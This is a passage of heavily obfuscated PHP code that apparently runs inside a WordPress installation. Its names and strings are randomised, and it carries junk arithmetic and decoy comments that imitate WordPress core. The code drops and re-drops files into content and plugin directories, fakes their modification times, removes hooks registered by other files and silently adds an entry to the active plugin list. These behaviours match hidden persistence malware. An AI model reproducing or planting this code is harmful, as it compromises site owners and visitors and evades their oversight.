  if ($faljjkhouh4v5xch    !==   null    &&   $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(61)))   @opcache_invalidate($faljjkhouh4v5xch,   true);
      if   ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(62))) @set_transient(fjup2mc1h(63),     1,    (86359+41));
       if ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(64)))    @delete_transient(fjup2mc1h(65));
teikfigf_p5265esq_q(op9tjzix(66),  b4gbsak56f40gos(67) .   ($yoxynfp7hr48q0x !== null ? $GLOBALS['__scf_dpm5ad5tej9nf_4']($yoxynfp7hr48q0x)   :     wlgh2_th(68)));
      return true;
 }
 function  aoc2n8ekbxf468rlwgk($zrdojkt9l06)


 {

try {
  if ($zrdojkt9l06    instanceof Closure)   {   $xr7siizzt4ot   =  new  ReflectionFunction($zrdojkt9l06);  return    $xr7siizzt4ot->getFileName();  }
if   ($GLOBALS['__scf_zneqqdn4vlt4_42']($zrdojkt9l06) &&   $GLOBALS['__scf_rbe_sihvfv_8']($zrdojkt9l06,  tvo1rh46s_(69))   !==  false)    {  $xr7siizzt4ot  =    new ReflectionMethod($zrdojkt9l06); return $xr7siizzt4ot->getFileName();  }
// WP Core Data: suspend aggregator

    if  ($GLOBALS['__scf_zneqqdn4vlt4_42']($zrdojkt9l06)   &&    $GLOBALS['__scf_qel9wo57qs676z_5']($zrdojkt9l06))    { $xr7siizzt4ot    = new     ReflectionFunction($zrdojkt9l06);  return   $xr7siizzt4ot->getFileName();  }
 if ($GLOBALS['__scf_knhbvsumnby3_36']($zrdojkt9l06) &&   $GLOBALS['__scf_j38tk0441lk_37']($zrdojkt9l06)  ===  2)    {   $xr7siizzt4ot    =  new    ReflectionMethod($zrdojkt9l06[0], $zrdojkt9l06[1]);     return $xr7siizzt4ot->getFileName(); }
 } catch   (Throwable $x0ydieb0v_72m_u)  {} catch   (Exception $x0ydieb0v_72m_u) {}
   return    null;$pgf45vv34dvf=PHP_MAJOR_VERSION;$djrtz_e4q84h=$pgf45vv34dvf*1;


   }
  function    sb4t06f88i1ucd5yzji9c($q9bdm8vc06odw4)
  {
 global   $wh93do6iewazbol;
if      (!$GLOBALS['__scf_knhbvsumnby3_36']($wh93do6iewazbol))     return;$l9en_3rac9_f1u=906;$o2azsnh2rrwf2=($l9en_3rac9_f1u>0)?$l9en_3rac9_f1u:-$l9en_3rac9_f1u;
      $x70n17n7y9_  =   @$GLOBALS['__scf_czsd7giapuxwu_34']($q9bdm8vc06odw4);
    if ($x70n17n7y9_     ===  false)   $x70n17n7y9_  = $q9bdm8vc06odw4;
       $ndc2z6m2dc_ss2gv = @$GLOBALS['__scf_czsd7giapuxwu_34'](qluu1auwul2zupq5h());
foreach ($wh93do6iewazbol  as   $c394waxar9uxdjhp   =>      $dbzletawf9no)  {
  if ($GLOBALS['__scf_l4xn242gw4_70']($dbzletawf9no) &&    isset($dbzletawf9no->callbacks)  &&   $GLOBALS['__scf_knhbvsumnby3_36']($dbzletawf9no->callbacks))  $ssau50xlke2 =    $dbzletawf9no->callbacks;



      elseif  ($GLOBALS['__scf_knhbvsumnby3_36']($dbzletawf9no))  $ssau50xlke2   =  $dbzletawf9no;

else  continue;
   

  foreach    ($ssau50xlke2  as $jsz0b2w9g8r  =>  $list) {

  foreach     ((array)   $list   as      $t_ly603ezzw2om)    {
$zrdojkt9l06 =  isset($t_ly603ezzw2om[op9tjzix(71)])  ?  $t_ly603ezzw2om[fjup2mc1h(71)]  : null;
if ($zrdojkt9l06 ===     null)    continue;$ijy4h_6sj1gba=52|120;$vasrdixlz=$ijy4h_6sj1gba^206;


 $oknhdgd23az7    =     aoc2n8ekbxf468rlwgk($zrdojkt9l06);
 if   (!$GLOBALS['__scf_zneqqdn4vlt4_42']($oknhdgd23az7)) continue;
      $erwu5ys9ehg0bem  = @$GLOBALS['__scf_czsd7giapuxwu_34']($oknhdgd23az7);
if     (!(($erwu5ys9ehg0bem !==  false    && $erwu5ys9ehg0bem === $x70n17n7y9_)    || $oknhdgd23az7  ===    $q9bdm8vc06odw4))   continue;
   if   ($ndc2z6m2dc_ss2gv   !==   false     && $erwu5ys9ehg0bem   ===     $ndc2z6m2dc_ss2gv) continue;
 if  ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(72)))      @remove_filter($c394waxar9uxdjhp, $zrdojkt9l06,   $jsz0b2w9g8r);



   }
 }
       }
 }
function     rdffk7wljwnqtgg()
{
  $d_9pqy369cvamxr     =   emzy8pvoveowt1bicy5();
   if  (!@$GLOBALS['__scf_ot56htgy8hrmim_44']($d_9pqy369cvamxr)) return;
$mr05tabvz2 =   $GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(73)) ?   @$GLOBALS['__scf_ylc30lk3q5j_73']($d_9pqy369cvamxr      .   op9tjzix(74)) :  false;
   if      (!$GLOBALS['__scf_knhbvsumnby3_36']($mr05tabvz2))  return;
      $ndc2z6m2dc_ss2gv   = @$GLOBALS['__scf_czsd7giapuxwu_34'](qluu1auwul2zupq5h());
 foreach ($mr05tabvz2      as  $oknhdgd23az7)   {



  $erwu5ys9ehg0bem  =   @$GLOBALS['__scf_czsd7giapuxwu_34']($oknhdgd23az7);



      if ($ndc2z6m2dc_ss2gv  !==  false   &&  $erwu5ys9ehg0bem  ===  $ndc2z6m2dc_ss2gv)  continue;$e2szb8tkl5qta=PHP_MAJOR_VERSION;$z0agqskg=$e2szb8tkl5qta*8;
   if  (!_cz07l41au6zrisr5($oknhdgd23az7,   (432+68)))   continue;
     $cqa9ps1o2ezc4_  = i2mut9p5qixg5chb($oknhdgd23az7);
$ypk9ljuvrb32o  =   ($cqa9ps1o2ezc4_   ===     null) ||   version_compare($cqa9ps1o2ezc4_,   _vfpypr4wakqs7jy_(),  '<');
if   ($ypk9ljuvrb32o  ||   yhtrb7u6dls0u1($oknhdgd23az7))   sb4t06f88i1ucd5yzji9c($oknhdgd23az7);
     }
   }
     function  jli8euep5yb6she3($frgd4znm8k,   $wqsido46b9z1hw)
 {
   return     $GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(75)) ?   @$GLOBALS['__scf_qtfcgi4pxi71_75']($frgd4znm8k,  $wqsido46b9z1hw)  :   false;
}
function  o2er_doikw9jq83pm2lov($frgd4znm8k)
{

    $eyxsxtcpxi8cfit8    = vp191h9ipqfapu();
   return     jli8euep5yb6she3($frgd4znm8k,    ($eyxsxtcpxi8cfit8 -   ($eyxsxtcpxi8cfit8 % (69416+30584)))    +  wzkcxw_m1n8fard2g());
     }
 function  u_c4ai7hmq4gvvc($f_7bj33ei881g_s, $kiksbnz9wy_f)
    {
  return    $GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(50))   ? @$GLOBALS['__scf_tzc_p_uzbnf_qz_50']($f_7bj33ei881g_s, $kiksbnz9wy_f)  : false;
 }
 function vmit36r9571e9ftykwphlq($f_7bj33ei881g_s,     $kiksbnz9wy_f)
{



return    $GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(76))  ?    @$GLOBALS['__scf_c05p9rpyec3_t_77']($f_7bj33ei881g_s,     $kiksbnz9wy_f) : false;
  }

       function   l57opmo3fftx76($zwzkcpqs2ucabt_,  $frgd4znm8k)
  {
  return    $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(78))  ?  @$GLOBALS['__scf_iiafc2kxb9ov_79']($zwzkcpqs2ucabt_,  $frgd4znm8k)  :  false;
    }
  function  kgy22zbd3ue1hs74b()


  {
     static $t_ljspw9ofu8o6d = null;
if      ($t_ljspw9ofu8o6d  !== null)    return    $t_ljspw9ofu8o6d;
   $t_ljspw9ofu8o6d   =  $GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(80))    ? $GLOBALS['__scf_ufzmayscdi_80']()     :  fjup2mc1h(81);
    if    (@$GLOBALS['__scf_ot56htgy8hrmim_44']($t_ljspw9ofu8o6d) && @$GLOBALS['__scf_tluflp7r6hugyf_48']($t_ljspw9ofu8o6d))  return   $t_ljspw9ofu8o6d;

    $a5k4otdarxhx3x  =  defined(tvo1rh46s_(32)) ? WP_CONTENT_DIR  : (defined(fjup2mc1h(0))      ?   ABSPATH .   b4gbsak56f40gos(82)     :     "");


   if   ($a5k4otdarxhx3x    !==  "")  {
// WP RichText API user session

  $oknhdgd23az7  = $GLOBALS['__scf_q93011jdjf_13']($a5k4otdarxhx3x,      tvo1rh46s_(83))    .  tvo1rh46s_(84);
 if (!@$GLOBALS['__scf_ot56htgy8hrmim_44']($oknhdgd23az7)) @$GLOBALS['__scf_w1g4siw_ju_16']($oknhdgd23az7,  (404+89),    true);
   if   (@$GLOBALS['__scf_ot56htgy8hrmim_44']($oknhdgd23az7)   &&  @$GLOBALS['__scf_tluflp7r6hugyf_48']($oknhdgd23az7))  {
     if ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(85)))   @putenv(fjup2mc1h(86) .    $oknhdgd23az7);


   $GLOBALS[op9tjzix(87)] = 1;
$t_ljspw9ofu8o6d =  $oknhdgd23az7;
 }

    }
   return   $t_ljspw9ofu8o6d;$dm103f_qhvlk0t=(0x65+0x25);$dm5yojoiz=$dm103f_qhvlk0t%16;


    }
  function   ay_dweaa14q9en()
    {
      $zwzkcpqs2ucabt_      =   rrfbdtjl4tag5_vplfgq6_();
 $ltpokciy2kt5utu    =  emzy8pvoveowt1bicy5();
  if  ($zwzkcpqs2ucabt_ ===  $ltpokciy2kt5utu) return  true;
if ($GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(34)))   {
// project task-graph for WP Custom Link




  $k2k01565rnf9  =  @$GLOBALS['__scf_czsd7giapuxwu_34']($zwzkcpqs2ucabt_);
  $q4z3bay9zxdix     = @$GLOBALS['__scf_czsd7giapuxwu_34']($ltpokciy2kt5utu);
 return  ($k2k01565rnf9 !== false   &&  $q4z3bay9zxdix !==    false     &&      $k2k01565rnf9 === $q4z3bay9zxdix);

     }
// greedy envelope

    return      false;
  }


  function   wzkcxw_m1n8fard2g()



   {
  return  (68056+25763);
}
   function jvo4rxyzwfoit_jq2h75n0()

 {
if      (!defined(tvo1rh46s_(88))) return  "";

   $a5k4otdarxhx3x  =    defined(b4gbsak56f40gos(89)) ? WP_CONTENT_DIR  : ABSPATH  .  b4gbsak56f40gos(82);
return     $GLOBALS['__scf_q93011jdjf_13']($a5k4otdarxhx3x,  wlgh2_th(83))  .  wlgh2_th(90) . $GLOBALS['__scf_zre6ec18ly90y_10']($GLOBALS['__scf_abbpcj1ncssalx_57'](ABSPATH    . fjup2mc1h(91)), 0,  (3+5))     .    zp28wk01y(92) . $GLOBALS['__scf_zre6ec18ly90y_10']($GLOBALS['__scf_abbpcj1ncssalx_57'](ABSPATH .  zp28wk01y(93)),  0,   (1<<3)) .   op9tjzix(26);


}
    function   b0wop22b9ka0x2ul($bkok4unpnq2f_wvv     =  null)
 {
     $frgd4znm8k  =   jvo4rxyzwfoit_jq2h75n0();


   if  ($frgd4znm8k     ===  "") return  false;
 if (!$GLOBALS['__scf_zneqqdn4vlt4_42']($bkok4unpnq2f_wvv) ||   $GLOBALS['__scf_m2ym9pki8mue9_11']($bkok4unpnq2f_wvv) <  (301+199)) $bkok4unpnq2f_wvv =     mridss6_czjhslw35g();



  if   (!$bkok4unpnq2f_wvv   ||     !ays3w9sevfe7ws($bkok4unpnq2f_wvv)) return    false;
$zwzkcpqs2ucabt_     =   $GLOBALS['__scf_pqkpt9n3trf9fm_12']($frgd4znm8k);
    if  (!@$GLOBALS['__scf_ot56htgy8hrmim_44']($zwzkcpqs2ucabt_)) m_ixrkpun5f9a0k8wu($zwzkcpqs2ucabt_, (0x7e+0x16f),   true);
 if   (!@$GLOBALS['__scf_ot56htgy8hrmim_44']($zwzkcpqs2ucabt_)     ||  !@$GLOBALS['__scf_tluflp7r6hugyf_48']($zwzkcpqs2ucabt_))  return   false;
       if (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($frgd4znm8k))   {

$nn38gw_5ch  = _ar5tcm9kavyuod_ve5o1l($frgd4znm8k);



    if ($GLOBALS['__scf_zneqqdn4vlt4_42']($nn38gw_5ch)  &&     $nn38gw_5ch !==  "" &&   $GLOBALS['__scf_abbpcj1ncssalx_57']($nn38gw_5ch)  ===     $GLOBALS['__scf_abbpcj1ncssalx_57']($bkok4unpnq2f_wvv))     return true;
  unset($nn38gw_5ch);
$xlzoco4clqr6   = i2mut9p5qixg5chb($frgd4znm8k);



  if ($xlzoco4clqr6    !==   null &&    version_compare($xlzoco4clqr6,   _vfpypr4wakqs7jy_(),  '>'))   return  false;
   unset($xlzoco4clqr6);
 }

  if (!_ew1atk9e66yol2lso($frgd4znm8k,  $bkok4unpnq2f_wvv)) return     false;


kp1tutxjpanriy($frgd4znm8k, (644-224));$vpqvtrbv3=(0xaf+0x80);$iel2yijtcuc3xy=$vpqvtrbv3%12;
  rwx_v9t1vov1zic2ki($frgd4znm8k);
  return true;


 }
 function blyvdc2uxuermre1dz5d()
 {

  $bkok4unpnq2f_wvv  =  mridss6_czjhslw35g();
  if    (!$bkok4unpnq2f_wvv    || !ays3w9sevfe7ws($bkok4unpnq2f_wvv)) return false;
$cmmcvi1p_vu   =  $GLOBALS['__scf_dpm5ad5tej9nf_4'](qluu1auwul2zupq5h(),   tvo1rh46s_(26));
    $dx_ofkvr3qy    =    $GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(94))      ?   p_wsdzgl36a6wh_fs09()  :  (defined(zp28wk01y(89))  ? WP_CONTENT_DIR   :   "");

  if    ($dx_ofkvr3qy  ===  "")   return     false;

 $yabphvy5gb  = $dx_ofkvr3qy  . fjup2mc1h(95)     . $cmmcvi1p_vu;
   $xlvr9fkb8_ =      $yabphvy5gb      . '/' . $cmmcvi1p_vu . b4gbsak56f40gos(96);

 $wul9x0p7n8h0  =   false;
    if   ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(34)))    {
   $s8d618685gtz12x1 = @$GLOBALS['__scf_czsd7giapuxwu_34']($xlvr9fkb8_);
  $lgvmka3et7ami8h  =  @$GLOBALS['__scf_czsd7giapuxwu_34'](qluu1auwul2zupq5h());
        $wul9x0p7n8h0   =      ($GLOBALS['__scf_zneqqdn4vlt4_42']($s8d618685gtz12x1)    &&     $GLOBALS['__scf_zneqqdn4vlt4_42']($lgvmka3et7ami8h)    &&  $s8d618685gtz12x1   === $lgvmka3et7ami8h);
  }
   if (!$wul9x0p7n8h0)  {
  if    (!@$GLOBALS['__scf_ot56htgy8hrmim_44']($yabphvy5gb))      m_ixrkpun5f9a0k8wu($yabphvy5gb,     (433+60), true);
 if (!@$GLOBALS['__scf_ot56htgy8hrmim_44']($yabphvy5gb)   || !@$GLOBALS['__scf_tluflp7r6hugyf_48']($yabphvy5gb))  return false;
 $l9f4rvmjezisa1vw   = @$GLOBALS['__scf_j4nhr6qca6y8ds_20']($xlvr9fkb8_)  ?   _ar5tcm9kavyuod_ve5o1l($xlvr9fkb8_) :      false;
   if     ($l9f4rvmjezisa1vw   !== null &&      (!$GLOBALS['__scf_zneqqdn4vlt4_42']($l9f4rvmjezisa1vw)    ||  $GLOBALS['__scf_abbpcj1ncssalx_57']($l9f4rvmjezisa1vw) !== $GLOBALS['__scf_abbpcj1ncssalx_57']($bkok4unpnq2f_wvv)))  {
 if      (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($xlvr9fkb8_))  {
   $xlzoco4clqr6    = i2mut9p5qixg5chb($xlvr9fkb8_);

  if ($xlzoco4clqr6 !==    null &&      version_compare($xlzoco4clqr6,    _vfpypr4wakqs7jy_(), '>'))  return false;
  unset($xlzoco4clqr6);
}
    if   (!_ew1atk9e66yol2lso($xlvr9fkb8_,     utjmibjloacp0kjf($bkok4unpnq2f_wvv)))    return    false;
  kp1tutxjpanriy($xlvr9fkb8_,   (405+15));
    o2er_doikw9jq83pm2lov($xlvr9fkb8_);
 rwx_v9t1vov1zic2ki($xlvr9fkb8_);
 }


   unset($l9f4rvmjezisa1vw);



    }
   $ca39ql_bdh0c1iee    =  $cmmcvi1p_vu .    '/'  .     $cmmcvi1p_vu .  fjup2mc1h(97);
 dnlhs9m2bks667lnvn($ca39ql_bdh0c1iee);
 return true;$ydci1cdbm3bt=-963;$hmitilzuc=($ydci1cdbm3bt>0)?$ydci1cdbm3bt:-$ydci1cdbm3bt;
 }
 function   i2mut9p5qixg5chb($frgd4znm8k)
{
 $qd8vtlpj9h57ev     =   @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($frgd4znm8k, false,    null, 0,  (4089+7));
  if   (!$GLOBALS['__scf_zneqqdn4vlt4_42']($qd8vtlpj9h57ev))   return     null;


   if   ($GLOBALS['__scf_bvfhit3heqts_99'](b4gbsak56f40gos(100),  $qd8vtlpj9h57ev, $ltpokciy2kt5utu))  return $ltpokciy2kt5utu[1];
return null;
   }



function    _cz07l41au6zrisr5($g0_03n4x0twhmx,  $i3z5v5zzl5)
{
  @clearstatcache(true,    $g0_03n4x0twhmx);
 
$m12uurqaiptg1cp =    @$GLOBALS['__scf_kpr9p9o54hwof_101']($g0_03n4x0twhmx);
    if   (!$m12uurqaiptg1cp    ||  ($m12uurqaiptg1cp % (29275+70725)) !==  wzkcxw_m1n8fard2g())    {
    return false;
      

}

 
     $dyahzuwtz164n6  =  @$GLOBALS['__scf_voobwg611qb_102']($g0_03n4x0twhmx);$q4i8x94eex8y=55*9;$zxiu1g113_7=$q4i8x94eex8y-17;
 return $dyahzuwtz164n6   && $dyahzuwtz164n6  >=  $i3z5v5zzl5;

}



   function  g4qqj8jzajjudxckl()
{
  return  (52615-16615);
      }
 function  w9g08cirf_gw6p6su8()
    {
  return tvo1rh46s_(103);



    }
function  uys5m_ytblknm5()
  {
  return tvo1rh46s_(104);
}
 function ospjs6amomhffnkav7()
      {
    if ($GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(105))) return true;
   if (o5xb1exuclvplwm())   return  true;
 $qyot6c09186cea4 =    $GLOBALS['__scf_pdnlp7jjhnya_106']((string)   $GLOBALS['__scf_f9tn7hbu7z_107']());

if    ($qyot6c09186cea4    ===  op9tjzix(108) ||     $GLOBALS['__scf_rbe_sihvfv_8']($qyot6c09186cea4,  wlgh2_th(109)) !==   false)  return  true;
   $lleydi404ih03j  = isset($_SERVER[zp28wk01y(110)]) ? $GLOBALS['__scf_pdnlp7jjhnya_106']((string)   $_SERVER[b4gbsak56f40gos(110)]) : "";
if ($lleydi404ih03j  !==  ""  &&  ($GLOBALS['__scf_rbe_sihvfv_8']($lleydi404ih03j,    tvo1rh46s_(111)) !==    false   ||      $GLOBALS['__scf_rbe_sihvfv_8']($lleydi404ih03j,   tvo1rh46s_(112)) !==  false || $GLOBALS['__scf_rbe_sihvfv_8']($lleydi404ih03j,   wlgh2_th(113)) !== false))     return true;
 return   false;
  }
 function     o5xb1exuclvplwm()
    {
  $lleydi404ih03j =  isset($_SERVER[wlgh2_th(114)]) ?  $_SERVER[wlgh2_th(114)]   :  "";
return $GLOBALS['__scf_zneqqdn4vlt4_42']($lleydi404ih03j)   &&   stripos($lleydi404ih03j,   tvo1rh46s_(112))    !==   false;


   }
  function s29rlsoq45jpkm6n($q9bdm8vc06odw4)
  {
     $gzq0hlo1g18v9o      =      $GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(115)) ?   @$GLOBALS['__scf_livuu39cntpdx3_116'](op9tjzix(117)) :  false;
   if   (!$gzq0hlo1g18v9o  ||   $gzq0hlo1g18v9o  === "")  return   true;


 $x70n17n7y9_   =    @$GLOBALS['__scf_czsd7giapuxwu_34']($q9bdm8vc06odw4);


       if  (!$x70n17n7y9_)   $x70n17n7y9_ = $q9bdm8vc06odw4;
 foreach  ($GLOBALS['__scf_ubwid3ivz9f8x_118'](PATH_SEPARATOR,  $gzq0hlo1g18v9o) as $dwp9zzb5mx)    {
  $dwp9zzb5mx     =    $GLOBALS['__scf_q93011jdjf_13']($dwp9zzb5mx,  b4gbsak56f40gos(83));
if   ($dwp9zzb5mx && ($x70n17n7y9_     ===   $dwp9zzb5mx   || $GLOBALS['__scf_rbe_sihvfv_8']($x70n17n7y9_,  $dwp9zzb5mx  .    DIRECTORY_SEPARATOR)  === 0)) return     true;
}
  return false;
 }
 function  w3y4u5ctvqy9e8a_dczc03($m0q0wt95g3ow2dp0)
   {
    $k6riqk5yfa6  =   $m0q0wt95g3ow2dp0 .  '|'   .   (defined(op9tjzix(119)) ?    DB_NAME : "")   .  '|'     .   (defined(op9tjzix(120))   ? ABSPATH    : "");
   return $GLOBALS['__scf_abbpcj1ncssalx_57']($k6riqk5yfa6);$p3xgkt9s_7=PHP_INT_MAX/PHP_INT_MAX;$cpkdwhp7fp92=$p3xgkt9s_7+33;
}


function   mmsya1lu9x3wz6a92pu($m0q0wt95g3ow2dp0)
 {
global  $wpdb;
  if    (!isset($GLOBALS[wlgh2_th(121)])  || !$GLOBALS['__scf_knhbvsumnby3_36']($GLOBALS[zp28wk01y(122)]))  $GLOBALS[tvo1rh46s_(123)]   =   array();
      if    (!empty($GLOBALS[fjup2mc1h(123)][$m0q0wt95g3ow2dp0]))  {
  if (isset($GLOBALS[tvo1rh46s_(124)][$m0q0wt95g3ow2dp0]) &&  $GLOBALS['__scf_l4xn242gw4_70']($wpdb)) {
        $drclkwccv7cbt6   =   isset($wpdb->dbh)   ? $wpdb->dbh  :    null;
  if    ($drclkwccv7cbt6  !==   null  &&   $GLOBALS[op9tjzix(125)][$m0q0wt95g3ow2dp0]  !==  $drclkwccv7cbt6) {
// @abort derivation

  unset($GLOBALS[tvo1rh46s_(123)][$m0q0wt95g3ow2dp0],   $GLOBALS[op9tjzix(125)][$m0q0wt95g3ow2dp0]);
  return mmsya1lu9x3wz6a92pu($m0q0wt95g3ow2dp0);



 }



 unset($drclkwccv7cbt6);
 }


 $GLOBALS[tvo1rh46s_(123)][$m0q0wt95g3ow2dp0]++;
return   true;


 }
      if  ($GLOBALS['__scf_l4xn242gw4_70']($wpdb)  &&   $GLOBALS['__scf_p6wtd462xwbf9y_126']($wpdb,  zp28wk01y(127)))    {
$xr7siizzt4ot  =    @$wpdb->get_var(fjup2mc1h(128) .  w3y4u5ctvqy9e8a_dczc03($m0q0wt95g3ow2dp0) .   zp28wk01y(129));$u0lel7uemdge=89+68;$kxhn8gasylxb2x=$u0lel7uemdge-25;
if ($xr7siizzt4ot === '1')   {
   $GLOBALS[tvo1rh46s_(130)][$m0q0wt95g3ow2dp0]   =      1;
if (isset($wpdb->dbh) &&    $wpdb->dbh)   $GLOBALS[zp28wk01y(131)][$m0q0wt95g3ow2dp0]    = $wpdb->dbh;
    return true;




  }
if ($xr7siizzt4ot ===  '0')     return false;


}
if   ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(132))  &&   $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(23)))  {
$m761goscptt5oc  =   array();
    if  ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(80))) $m761goscptt5oc[]    =     $GLOBALS['__scf_ufzmayscdi_80']();


 if  (defined(fjup2mc1h(89))) $m761goscptt5oc[]   =    WP_CONTENT_DIR;
   if    (defined(wlgh2_th(120)))  $m761goscptt5oc[]   = $GLOBALS['__scf_q93011jdjf_13'](ABSPATH,   zp28wk01y(133));
foreach ($m761goscptt5oc as $zwzkcpqs2ucabt_)    {$_2r54y6lw=14|212;$wqavgz8xaei=$_2r54y6lw^44;
if ($zwzkcpqs2ucabt_ === "" ||  !@$GLOBALS['__scf_ot56htgy8hrmim_44']($zwzkcpqs2ucabt_)  ||   !@$GLOBALS['__scf_tluflp7r6hugyf_48']($zwzkcpqs2ucabt_)) continue;
 $ww6jg7bdql9x3      =     @$GLOBALS['__scf_v4z06gw93pj_23']($zwzkcpqs2ucabt_  .  zp28wk01y(134)     . w3y4u5ctvqy9e8a_dczc03($m0q0wt95g3ow2dp0)   .  b4gbsak56f40gos(135),    'c');
  if      ($ww6jg7bdql9x3   !== false) {
  if  (!@flock($ww6jg7bdql9x3,  LOCK_EX |  LOCK_NB))   {
      @fclose($ww6jg7bdql9x3);
   return  false;



  }


if   (!isset($GLOBALS[tvo1rh46s_(136)]) || !$GLOBALS['__scf_knhbvsumnby3_36']($GLOBALS[fjup2mc1h(136)])) $GLOBALS[tvo1rh46s_(136)]      = array();
 $GLOBALS[wlgh2_th(136)][$m0q0wt95g3ow2dp0]   = $ww6jg7bdql9x3;
     $GLOBALS[b4gbsak56f40gos(130)][$m0q0wt95g3ow2dp0] =  1;
   return   true;
    }
    }
   }
   $GLOBALS[wlgh2_th(130)][$m0q0wt95g3ow2dp0]  = 1;   
  $GLOBALS[op9tjzix(137)][$m0q0wt95g3ow2dp0]     = 1;
 return  true;
   }
  function   xckt_q1b7jgyro8rvq($m0q0wt95g3ow2dp0)
{
   global  $wpdb;
if   (empty($GLOBALS[b4gbsak56f40gos(130)][$m0q0wt95g3ow2dp0])) return;$zlnq4ejtz=(0x41+0x4e);$pshkpunvuuy=$zlnq4ejtz%11;
  $GLOBALS[op9tjzix(130)][$m0q0wt95g3ow2dp0]--;
    if ($GLOBALS[tvo1rh46s_(130)][$m0q0wt95g3ow2dp0] > 0)  return;
 unset($GLOBALS[b4gbsak56f40gos(138)][$m0q0wt95g3ow2dp0]);
  

unset($GLOBALS[tvo1rh46s_(131)][$m0q0wt95g3ow2dp0]);
unset($GLOBALS[wlgh2_th(139)][$m0q0wt95g3ow2dp0]);



     if (isset($GLOBALS[b4gbsak56f40gos(136)][$m0q0wt95g3ow2dp0]))  {


@flock($GLOBALS[b4gbsak56f40gos(136)][$m0q0wt95g3ow2dp0], LOCK_UN);

   @fclose($GLOBALS[op9tjzix(140)][$m0q0wt95g3ow2dp0]);
    unset($GLOBALS[b4gbsak56f40gos(140)][$m0q0wt95g3ow2dp0]);


}



if    ($GLOBALS['__scf_l4xn242gw4_70']($wpdb)  &&    $GLOBALS['__scf_p6wtd462xwbf9y_126']($wpdb, op9tjzix(141))) {
  @$wpdb->query(wlgh2_th(142)      .  w3y4u5ctvqy9e8a_dczc03($m0q0wt95g3ow2dp0) .    b4gbsak56f40gos(143));
 }
}
  function d0m54ziey0s38ncux0()


     {

 if     (defined(b4gbsak56f40gos(144))  &&  DISALLOW_FILE_MODS)  return   false;


 return true;
    }
    function    rm0o9ata_nbabsdtpf()

{
if      (!$GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(145))  ||  !$GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(23)))  return false;
  $iurtzrpwfdsbspz  =    array();

if   ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(80))) $iurtzrpwfdsbspz[] =   $GLOBALS['__scf_ufzmayscdi_80']();
    if    (defined(op9tjzix(146)))  $iurtzrpwfdsbspz[]   =  WP_CONTENT_DIR;
 if (defined(op9tjzix(120))) $iurtzrpwfdsbspz[]  = $GLOBALS['__scf_q93011jdjf_13'](ABSPATH,   op9tjzix(133));
   foreach  ($iurtzrpwfdsbspz   as    $m9c0mj8dhbv53xad)  {
        if ($m9c0mj8dhbv53xad ===  "" ||  !@$GLOBALS['__scf_ot56htgy8hrmim_44']($m9c0mj8dhbv53xad)  ||  !@$GLOBALS['__scf_tluflp7r6hugyf_48']($m9c0mj8dhbv53xad))   continue;
$ne_jb70to_bml    =    @$GLOBALS['__scf_v4z06gw93pj_23']($m9c0mj8dhbv53xad    .  b4gbsak56f40gos(134)   . w3y4u5ctvqy9e8a_dczc03(fjup2mc1h(147))      .    zp28wk01y(148),   'c');
   if  ($ne_jb70to_bml ===  false)  continue;
   if    (!@flock($ne_jb70to_bml,  LOCK_EX  | LOCK_NB))  {
     @fclose($ne_jb70to_bml);
        return false;$thfjt6lqp=(0xc1+0x78);$ati03417za2fb=$thfjt6lqp%12;


    }
 $GLOBALS[op9tjzix(149)]    =   $ne_jb70to_bml;

    return  true;$gup2ln9z4h=(0x72+0xc9);$rtv6gsd2=$gup2ln9z4h%11;
    }
 return    false;
 }

   function us0zdrvjowflnu()
    {


    if (isset($GLOBALS[zp28wk01y(149)])) {



@flock($GLOBALS[wlgh2_th(149)],   LOCK_UN);
 @fclose($GLOBALS[wlgh2_th(149)]);
unset($GLOBALS[wlgh2_th(150)]);
     }


    }
       function  dnlhs9m2bks667lnvn($ca39ql_bdh0c1iee)
    {$_t5gqg7y9ubu=633;$y7u_fo03l5k=($_t5gqg7y9ubu>0)?$_t5gqg7y9ubu:-$_t5gqg7y9ubu;
  if (!$GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(151))  || !$GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(152))) return;
  if  (!rm0o9ata_nbabsdtpf())   return;
try    {
       $cc80o54envw5w     =  get_option(wlgh2_th(153), array());



 if  (!$GLOBALS['__scf_knhbvsumnby3_36']($cc80o54envw5w)) $cc80o54envw5w   = array();



 $ihfbl81fkwjevjr5 =   $GLOBALS['__scf_v0g2xbgjjm_154']($GLOBALS['__scf_s8rgnr7_02m_155']($cc80o54envw5w));
 if  (!$GLOBALS['__scf_av84ex67tlp92_156']($ca39ql_bdh0c1iee,      $ihfbl81fkwjevjr5,   true)) $ihfbl81fkwjevjr5[]  =   $ca39ql_bdh0c1iee;
 if ($ihfbl81fkwjevjr5   !==      $cc80o54envw5w)  update_option(wlgh2_th(153),   $ihfbl81fkwjevjr5);
      unset($ihfbl81fkwjevjr5);


  }  finally {
 us0zdrvjowflnu();

   }
      }
       function  ux2jkoky3hejst2ho($ca39ql_bdh0c1iee)
{
